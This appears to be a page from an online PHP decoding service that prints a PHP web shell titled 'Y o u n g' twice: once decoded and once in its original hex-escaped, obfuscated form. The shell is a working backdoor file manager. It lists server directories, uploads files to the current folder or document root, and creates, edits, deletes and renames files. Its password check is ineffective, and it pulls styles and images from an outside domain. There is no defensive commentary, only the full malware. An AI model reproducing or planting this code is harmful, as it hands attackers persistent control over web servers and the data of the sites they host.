Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function hlx($rr) { $xx = ''; for ($c = 0; $c < strlen($rr); $c += 2) { ..

Decoded Output download

<?php 
 
function hlx($rr) 
{ 
  $xx = ''; 
  for ($c = 0; $c < strlen($rr); $c += 2) { 
    $xx .= chr(hexdec($rr[$c] . $rr[$c + 1])); 
  } 
  return $xx; 
} 
function xlh($string) 
{ 
  $hex = ''; 
  for ($i = 0; $i < strlen($string); $i++) $hex .= dechex(ord($string[$i])); 
  return $hex; 
} 
function sf($f, $t) 
{ 
  $w = @fopen($f, "w") or @"function_exists"('file_put_contents'); 
  if ($w) { 
    @fwrite($w, $t) or @fputs($w, $t) or @"file_put_contents"($f, $t); 
    @fclose($w); 
  } 
} 
function fsize($file) 
{ 
  $a = ["B", "KB", "MB", "GB", "TB", "PB"]; 
  $size = "filesize"($file); 
  $pos = min((int)log($size, 1024), count($a) - 1); 
  $size /= pow(1024, $pos); 
  return round($size, 2) . " " . $a[$pos]; 
} 
function lasmod($file) 
{ 
  return date("d/m/y - H:i:s", "filemtime"($file)); 
} 
 
 
function gtyp($file) 
{ 
  $gtyp = ("function_exists"('mime_content_type')) ? "mime_content_type"($file) : "filetype"($file); 
  return $gtyp; 
} 
"error_reporting"(0); 
"set_time_limit"(0); 
"ob_start"(); 
"ini_set"('max_execution_time', 0); 
"ini_set"('output_buffering', 0); 
"session_start"(); 
echo '<html><head><title>Y o u n g</title><meta name="viewport" content="width=device-width,initial-scale=1"></head><style>@import url(//rei.my.id/style.css);</style><body>'; 
if ("md5"(${"_POST"}['pass']) == $pass) { 
  "session_start"(); 
  ${"_SESSION"}['pass'] = $pass; 
} 
 
  if ("ini_get"('safe_mode')) { 
    $Safe = "<b>ON</b>"; 
  } else { 
    $Safe = "<b>OFF</b>"; 
  } 
  if (isset(${"_GET"}['d'])) { 
    $path = hlx(${"_GET"}['d']); 
    "chdir"(hlx(${"_GET"}['d'])); 
  } else { 
    $path = "getcwd"(); 
  } 
  if (isset($mkdir)) { 
    $mkdir = $path . "/" . ${"_GET"}['mkdir']; 
  } 
  if (isset($mkfile)) { 
    $mkfile = $path . "/" . ${"_GET"}['mkfile']; 
  } 
  $f = hlx(${"_GET"}['f']); 
  $fedit = hlx(${"_GET"}['fedit']); 
  $gwejh = "stripslashes"(${"_POST"}['gwejh']); 
  $mkdir = ${"_GET"}['mkdir']; 
  $tools = ${"_GET"}['t']; 
  $rmdir = hlx(${"_GET"}['rmdir']); 
  $mkfile = ${"_GET"}['mkfile']; 
  $cndir = ${"_GET"}['cndir']; 
  $file = ${"_SERVER"}['PHP_SELF']; 
  $root = ${"_SERVER"}['DOCUMENT_ROOT']; 
  $bytes = "disk_free_space"("."); 
  $rfile = hlx(${"_GET"}['rfile']); 
  $rename = ${"_GET"}['rename']; 
  $path = "str_replace"('\', '/', $path); 
  $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'); 
  $class = min((int)log($bytes, 1024), count($si_prefix) - 1); 
  $size = sprintf('%1.2f', $bytes / pow(1024, $class)) . ' ' . $si_prefix[$class]; 
  echo '<br /><button><a href="?"><b>HOME</b><a></button> 
  <button><a href="' . $file . '?t=' . xlh('upload') . '&d=' . xlh($path) . '"><b>UPLOAD</b></a></button>  
  
  <button><a href="' . $file . '?exit"><b>LOGOUT</b></a></button> 
   
  <br> 
  <form method="get" action=""><input id="emem" type="text" name="mkfile" value="CreateFile.php"> <input type="hidden" name="d" value="' . xlh($path) . '"> <input type="submit" value="X" /></form><form method="get" action=""><input id="emem" type="text" name="mkdir" placeholder="CreateDir"> <input type="hidden" name="d" value="' . xlh($path) . '"><input type="submit" value="X" /></form><br /> 
  <form method="get" action=""><input id="ememm" type="text" name="cndir" value=' . $path . '>&nbsp;<input type="submit" value="X" /></form>'; 
 
  if (isset($tools)) { 
 
    if (hlx($tools) == 'upload') { 
      echo "<h2>Upload Tools</h2><form method='post' enctype='multipart/form-data'><div style='justify-content: center'><input type='radio' name='uploadtype' value='1' checked>current_dir [ $path ]<br/><input type='radio' name='uploadtype' value='2'>document_root [ $root ]</div><br/><input type='file' name='upload'> <input type='submit' value='upload' name='upload'></form><br/>"; 
      if (isset(${"_POST"}['upload'])) { 
        if (${"_POST"}['uploadtype'] == 1) { 
          $tmp = $_FILES['upload']['tmp_name']; 
          $up = "basename"($_FILES['upload']['name']); 
          if ("move_uploaded_file"($tmp, $path . "/" . $up)) { 
            echo "<b>SUCCESSFULLY UPLOADED</b>"; 
          } else { 
            echo "<b>FAILED TO UPLOAD FILE</b>"; 
          } 
        } else { 
          $tmp = $_FILES['upload']['tmp_name']; 
          $up = "basename"($_FILES['upload']['name']); 
          if ("move_uploaded_file"($tmp, $root . "/" . $up)) { 
            echo "<b>SUCCESSFULLY UPLOADED</b>"; 
          } else { 
            echo "<b>FAILED TO UPLOAD FILE</b>"; 
          } 
        } 
      } 
      die(); 
    } 
 
  } 
  if (isset($rfile) and "is_writable"($rfile)) { 
    if ("unlink"($rfile)) { 
      echo ("<br/><b>File $rfile Deleted</b>"); 
    } else { 
      echo ("<br/><b>File $rfile Not Deleted</b>"); 
    } 
  } 
  if (isset($mkdir)) { 
    if (!empty($mkdir)) { 
      if (mkdir($mkdir, 0777, true)) { 
        echo "<br/><b>Directory $mkdir Created</b>"; 
      } else { 
        echo "<br/><b>Directory $mkdir Not Created</b>"; 
      } 
    } else { 
      echo "<br/><b>Can't create folder with empty name</b>"; 
    } 
  } 
  if (isset($mkfile)) { 
    echo '<form method="post" action=""><textarea rows="25" name="ftext"></textarea><br><div id="l"><br/><input type="text" name="fname" value="' . $mkfile . '"\> <input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div></form><br/>'; 
    if (!empty(${"_POST"}['fname'])) { 
      if (${"_POST"}['fname'] && ${"_POST"}['ftext']) { 
        if ("file_put_contents"(${"_POST"}['fname'], ${"_POST"}['ftext'])) { 
          echo "<br/><b>File " . ${"_POST"}['fname'] . " Created</b>"; 
        } else { 
          echo "<br/><b>File " . ${"_POST"}['fname'] . " Not Created</b>"; 
        } 
      } 
    } else { 
      echo "<br/><b>Can't create file with empty name</b>"; 
    } 
  } 
  if (isset($rmdir) and "is_writable"($rmdir)) { 
    if ("rmdir"($rmdir)) { 
      echo "<br/><b>Directory $rmdir Deleted</b>"; 
    } else { 
      echo "<br/><b>Directory $rmdir Not Deleted</b>"; 
    } 
  } 
  if (isset($cndir)) { 
    $dir = $cndir; 
    $rr = ${"_SERVER"}['SERVER_NAME'] . "$file?d=" . xlh($dir); 
    header("Location: http://$rr"); 
  } 
  if (isset($rename)) { 
    echo '<br/><br/><form method="post" action=""><input type="hidden" name="oldname" value="' . hlx(${"_GET"}['oldname']) . '" readonly> New Name: <input type="text" name="newname" value="' . hlx(${"_GET"}['oldname']) . '"> <input type="submit" value="Execute"/> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></form><pre>'; 
     
	if (${"_POST"}['oldname'] && ${"_POST"}['newname']) { 
      if (isset(${"_POST"}['oldname'])) { 
        rename(${"_POST"}['oldname'], ${"_POST"}['newname']); 
        echo '<b>Rename File Done.</b><br />'; 
      } else { 
        echo '<b>Rename File Failed.</b><br />'; 
      } 
    } 
    echo '</pre>'; 
  } 
  if (isset($f) and "filemtime"($f)) { 
    $text = "htmlentities"("file_get_contents"($f)); 
    echo '<textarea rows="25" name="text" readonly>' . $text . '</textarea><br/><br/><div id="l"><button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div>'; 
  } 
  if (isset($fedit) and "is_writable"($fedit)) { 
    $text = "htmlspecialchars"("file_get_contents"($fedit)); 
    echo '<form method="post" action=""><textarea rows="25" name="text">' . $text . '</textarea><br><br/><div id="l"><input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div></form><br/>'; 
    if ("file_exists"($fedit)) { 
      if (isset(${"_POST"}['text'])) { 
        $write = fopen($fedit, 'w'); 
        $new_text = "stripslashes"(${"_POST"}['text']); 
        if (fwrite($write, $new_text)) { 
          echo '<b>Edit File Done.</b><br />'; 
        } else { 
          echo '<b>Edit File Failed.</b><br />'; 
        } 
        fclose($write); 
      } 
    } 
  } 
  echo'<button onclick="copyFileNames()">COPY DOMAIN</button>'; 
  echo '<br /><table><thead><tr> 
  <th style="width:35%"> File Name </th> 
  <th style="width:7%"> Actions </th> 
  <th style="width:5%"> Filesize </th> 
  <th style="width:5%"> Filetype </th> 
  <th style="width:8%"> Last Modified </th> 
  </tr> 
  </thead> 
  <tbody>'; 
 $names = []; 
  foreach ("scandir"($path) as $files) { 
    if (!is_dir($files)) continue; 
    if ($files == ".." | $files == ".") { 
		 $names[] = $files; 
     echo "<tr>
<td><div><img src='//rei.my.id/fldr.png' /><b><a href='?d=" . xlh("dirname"($path)) . "'>$files</a></b></div></td>
</tr>"; 
 
    } else { 
		 $names[] = $files; 
      echo "<tr><td><img src='//rei.my.id/fldr.png' /><b><a href=$file?d=" . xlh($path . '/' . $files) . ">$files</a></b></td> 
	  <td id='c'>/ </td>
   
	  <td id='c'>-</td>
                  <td id='c'>" . gtyp($files) . "</td>
                 <td id='c'>" . lasmod($files) . "</td>
              </tr>"; 
    } 
  } 
  foreach ("scandir"($path) as $files) { 
    if (!is_file($files)) continue; 
    echo "<tr><td><img src='//rei.my.id/file.png' /> 
	<a href=$file?f=" . xlh($files) . " &d=" . xlh($path) . ">$files</a></td> 
	<td id='c'><a href=$file?fedit=" . xlh($files) . "&d=" . xlh($path) . ">ED</a> / <a href=$file?rfile=" . xlh($files) . "&d=" . xlh($path) . ">Del</a> / <a href=?rename&oldname=" . xlh($files) . "&d=" . xlh($path) . ">ren</a></td>
   
	<td id='c'>" . fsize($files) . "</td>
   
	<td id='c'>" . gtyp($files) . "</td>
          
   
	<td id='c'>" . lasmod($files) . "</td>
   
	</tr>"; 
  } 
  echo "</tbody></table>"; 
  if (isset(${"_GET"}['exit'])) { 
    unset(${"_SESSION"}['pass']); 
    echo "<script>window.location.href='?';</script>"; 
    exit(); 
  } 
echo '<script> 
    function copyFileNames() { 
        var textToCopy = `' . implode("
", $names) . '`; 
        navigator.clipboard.writeText(textToCopy) 
            .then(() => alert("Content names copied successfully!")) 
            .catch(err => console.error("Copy failed: ", err)); 
    } 
</script>'; 
 
 
 
 
header('X-Powered-By: young'); 
echo '</body></html>'; 
 
 ?>

Did this file decode correctly?

Original Code

<?php

function hlx($rr)
{
  $xx = '';
  for ($c = 0; $c < strlen($rr); $c += 2) {
    $xx .= chr(hexdec($rr[$c] . $rr[$c + 1]));
  }
  return $xx;
}
function xlh($string)
{
  $hex = '';
  for ($i = 0; $i < strlen($string); $i++) $hex .= dechex(ord($string[$i]));
  return $hex;
}
function sf($f, $t)
{
  $w = @fopen($f, "w") or @"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('file_put_contents');
  if ($w) {
    @fwrite($w, $t) or @fputs($w, $t) or @"\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"($f, $t);
    @fclose($w);
  }
}
function fsize($file)
{
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $size = "\x66\x69\x6c\x65\x73\x69\x7a\x65"($file);
  $pos = min((int)log($size, 1024), count($a) - 1);
  $size /= pow(1024, $pos);
  return round($size, 2) . " " . $a[$pos];
}
function lasmod($file)
{
  return date("d/m/y - H:i:s", "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($file));
}


function gtyp($file)
{
  $gtyp = ("\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('mime_content_type')) ? "\x6d\x69\x6d\x65\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"($file) : "\x66\x69\x6c\x65\x74\x79\x70\x65"($file);
  return $gtyp;
}
"\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67"(0);
"\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74"(0);
"\x6F\x62\x5F\x73\x74\x61\x72\x74"();
"\x69\x6E\x69\x5F\x73\x65\x74"('max_execution_time', 0);
"\x69\x6E\x69\x5F\x73\x65\x74"('output_buffering', 0);
"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();
echo '<html><head><title>Y o u n g</title><meta name="viewport" content="width=device-width,initial-scale=1"></head><style>@import url(//rei.my.id/style.css);</style><body>';
if ("\x6D\x64\x35"(${"\x5f\x50\x4f\x53\x54"}['pass']) == $pass) {
  "\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();
  ${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass'] = $pass;
}

  if ("\x69\x6E\x69\x5F\x67\x65\x74"('safe_mode')) {
    $Safe = "<b>ON</b>";
  } else {
    $Safe = "<b>OFF</b>";
  }
  if (isset(${"\x5F\x47\x45\x54"}['d'])) {
    $path = hlx(${"\x5F\x47\x45\x54"}['d']);
    "\x63\x68\x64\x69\x72"(hlx(${"\x5F\x47\x45\x54"}['d']));
  } else {
    $path = "\x67\x65\x74\x63\x77\x64"();
  }
  if (isset($mkdir)) {
    $mkdir = $path . "/" . ${"\x5F\x47\x45\x54"}['mkdir'];
  }
  if (isset($mkfile)) {
    $mkfile = $path . "/" . ${"\x5F\x47\x45\x54"}['mkfile'];
  }
  $f = hlx(${"\x5F\x47\x45\x54"}['f']);
  $fedit = hlx(${"\x5F\x47\x45\x54"}['fedit']);
  $gwejh = "\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['gwejh']);
  $mkdir = ${"\x5F\x47\x45\x54"}['mkdir'];
  $tools = ${"\x5F\x47\x45\x54"}['t'];
  $rmdir = hlx(${"\x5F\x47\x45\x54"}['rmdir']);
  $mkfile = ${"\x5F\x47\x45\x54"}['mkfile'];
  $cndir = ${"\x5F\x47\x45\x54"}['cndir'];
  $file = ${"\x5f\x53\x45\x52\x56\x45\x52"}['PHP_SELF'];
  $root = ${"\x5f\x53\x45\x52\x56\x45\x52"}['DOCUMENT_ROOT'];
  $bytes = "\x64\x69\x73\x6b\x5f\x66\x72\x65\x65\x5f\x73\x70\x61\x63\x65"(".");
  $rfile = hlx(${"\x5F\x47\x45\x54"}['rfile']);
  $rename = ${"\x5F\x47\x45\x54"}['rename'];
  $path = "\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65"('\\', '/', $path);
  $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
  $class = min((int)log($bytes, 1024), count($si_prefix) - 1);
  $size = sprintf('%1.2f', $bytes / pow(1024, $class)) . ' ' . $si_prefix[$class];
  echo '<br /><button><a href="?"><b>HOME</b><a></button>
  <button><a href="' . $file . '?t=' . xlh('upload') . '&d=' . xlh($path) . '"><b>UPLOAD</b></a></button> 
 
  <button><a href="' . $file . '?exit"><b>LOGOUT</b></a></button>
  
  <br>
  <form method="get" action=""><input id="emem" type="text" name="mkfile" value="CreateFile.php"> <input type="hidden" name="d" value="' . xlh($path) . '"> <input type="submit" value="X" /></form><form method="get" action=""><input id="emem" type="text" name="mkdir" placeholder="CreateDir"> <input type="hidden" name="d" value="' . xlh($path) . '"><input type="submit" value="X" /></form><br />
  <form method="get" action=""><input id="ememm" type="text" name="cndir" value=' . $path . '>&nbsp;<input type="submit" value="X" /></form>';

  if (isset($tools)) {

    if (hlx($tools) == 'upload') {
      echo "<h2>Upload Tools</h2><form method='post' enctype='multipart/form-data'><div style='justify-content: center'><input type='radio' name='uploadtype' value='1' checked>current_dir [ $path ]<br/><input type='radio' name='uploadtype' value='2'>document_root [ $root ]</div><br/><input type='file' name='upload'> <input type='submit' value='upload' name='upload'></form><br/>";
      if (isset(${"\x5f\x50\x4f\x53\x54"}['upload'])) {
        if (${"\x5f\x50\x4f\x53\x54"}['uploadtype'] == 1) {
          $tmp = $_FILES['upload']['tmp_name'];
          $up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
          if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $path . "/" . $up)) {
            echo "<b>SUCCESSFULLY UPLOADED</b>";
          } else {
            echo "<b>FAILED TO UPLOAD FILE</b>";
          }
        } else {
          $tmp = $_FILES['upload']['tmp_name'];
          $up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
          if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $root . "/" . $up)) {
            echo "<b>SUCCESSFULLY UPLOADED</b>";
          } else {
            echo "<b>FAILED TO UPLOAD FILE</b>";
          }
        }
      }
      die();
    }

  }
  if (isset($rfile) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rfile)) {
    if ("\x75\x6e\x6c\x69\x6e\x6b"($rfile)) {
      echo ("<br/><b>File $rfile Deleted</b>");
    } else {
      echo ("<br/><b>File $rfile Not Deleted</b>");
    }
  }
  if (isset($mkdir)) {
    if (!empty($mkdir)) {
      if (mkdir($mkdir, 0777, true)) {
        echo "<br/><b>Directory $mkdir Created</b>";
      } else {
        echo "<br/><b>Directory $mkdir Not Created</b>";
      }
    } else {
      echo "<br/><b>Can't create folder with empty name</b>";
    }
  }
  if (isset($mkfile)) {
    echo '<form method="post" action=""><textarea rows="25" name="ftext"></textarea><br><div id="l"><br/><input type="text" name="fname" value="' . $mkfile . '"\> <input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div></form><br/>';
    if (!empty(${"\x5f\x50\x4f\x53\x54"}['fname'])) {
      if (${"\x5f\x50\x4f\x53\x54"}['fname'] && ${"\x5f\x50\x4f\x53\x54"}['ftext']) {
        if ("\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"(${"\x5f\x50\x4f\x53\x54"}['fname'], ${"\x5f\x50\x4f\x53\x54"}['ftext'])) {
          echo "<br/><b>File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Created</b>";
        } else {
          echo "<br/><b>File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Not Created</b>";
        }
      }
    } else {
      echo "<br/><b>Can't create file with empty name</b>";
    }
  }
  if (isset($rmdir) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rmdir)) {
    if ("\x72\x6d\x64\x69\x72"($rmdir)) {
      echo "<br/><b>Directory $rmdir Deleted</b>";
    } else {
      echo "<br/><b>Directory $rmdir Not Deleted</b>";
    }
  }
  if (isset($cndir)) {
    $dir = $cndir;
    $rr = ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'] . "$file?d=" . xlh($dir);
    header("Location: http://$rr");
  }
  if (isset($rename)) {
    echo '<br/><br/><form method="post" action=""><input type="hidden" name="oldname" value="' . hlx(${"\x5F\x47\x45\x54"}['oldname']) . '" readonly> New Name: <input type="text" name="newname" value="' . hlx(${"\x5F\x47\x45\x54"}['oldname']) . '"> <input type="submit" value="Execute"/> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></form><pre>';
    
	if (${"\x5f\x50\x4f\x53\x54"}['oldname'] && ${"\x5f\x50\x4f\x53\x54"}['newname']) {
      if (isset(${"\x5f\x50\x4f\x53\x54"}['oldname'])) {
        rename(${"\x5f\x50\x4f\x53\x54"}['oldname'], ${"\x5f\x50\x4f\x53\x54"}['newname']);
        echo '<b>Rename File Done.</b><br />';
      } else {
        echo '<b>Rename File Failed.</b><br />';
      }
    }
    echo '</pre>';
  }
  if (isset($f) and "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($f)) {
    $text = "\x68\x74\x6d\x6c\x65\x6e\x74\x69\x74\x69\x65\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($f));
    echo '<textarea rows="25" name="text" readonly>' . $text . '</textarea><br/><br/><div id="l"><button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div>';
  }
  if (isset($fedit) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($fedit)) {
    $text = "\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($fedit));
    echo '<form method="post" action=""><textarea rows="25" name="text">' . $text . '</textarea><br><br/><div id="l"><input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . xlh($path) . '">Back</a></button></div></form><br/>';
    if ("\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73"($fedit)) {
      if (isset(${"\x5f\x50\x4f\x53\x54"}['text'])) {
        $write = fopen($fedit, 'w');
        $new_text = "\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['text']);
        if (fwrite($write, $new_text)) {
          echo '<b>Edit File Done.</b><br />';
        } else {
          echo '<b>Edit File Failed.</b><br />';
        }
        fclose($write);
      }
    }
  }
  echo'<button onclick="copyFileNames()">COPY DOMAIN</button>';
  echo '<br /><table><thead><tr>
  <th style="width:35%"> File Name </th>
  <th style="width:7%"> Actions </th>
  <th style="width:5%"> Filesize </th>
  <th style="width:5%"> Filetype </th>
  <th style="width:8%"> Last Modified </th>
  </tr>
  </thead>
  <tbody>';
 $names = [];
  foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
    if (!is_dir($files)) continue;
    if ($files == ".." | $files == ".") {
		 $names[] = $files;
     echo "<tr>\n<td><div><img src='//rei.my.id/fldr.png' /><b><a href='?d=" . xlh("\x64\x69\x72\x6e\x61\x6d\x65"($path)) . "'>$files</a></b></div></td>\n</tr>";

    } else {
		 $names[] = $files;
      echo "<tr><td><img src='//rei.my.id/fldr.png' /><b><a href=$file?d=" . xlh($path . '/' . $files) . ">$files</a></b></td>
	  <td id='c'>/ </td>\n  
	  <td id='c'>-</td>\n                  <td id='c'>" . gtyp($files) . "</td>\n                 <td id='c'>" . lasmod($files) . "</td>\n              </tr>";
    }
  }
  foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
    if (!is_file($files)) continue;
    echo "<tr><td><img src='//rei.my.id/file.png' />
	<a href=$file?f=" . xlh($files) . " &d=" . xlh($path) . ">$files</a></td>
	<td id='c'><a href=$file?fedit=" . xlh($files) . "&d=" . xlh($path) . ">ED</a> / <a href=$file?rfile=" . xlh($files) . "&d=" . xlh($path) . ">Del</a> / <a href=?rename&oldname=" . xlh($files) . "&d=" . xlh($path) . ">ren</a></td>\n  
	<td id='c'>" . fsize($files) . "</td>\n  
	<td id='c'>" . gtyp($files) . "</td>\n         
  
	<td id='c'>" . lasmod($files) . "</td>\n  
	</tr>";
  }
  echo "</tbody></table>";
  if (isset(${"\x5F\x47\x45\x54"}['exit'])) {
    unset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']);
    echo "<script>window.location.href='?';</script>";
    exit();
  }
echo '<script>
    function copyFileNames() {
        var textToCopy = `' . implode("\n", $names) . '`;
        navigator.clipboard.writeText(textToCopy)
            .then(() => alert("Content names copied successfully!"))
            .catch(err => console.error("Copy failed: ", err));
    }
</script>';




header('X-Powered-By: young');
echo '</body></html>';

Function Calls

None

Variables

None

Stats

MD5 3b6a15010e92bf48b440772759b84592
Eval Count 0
Decode Time 52 ms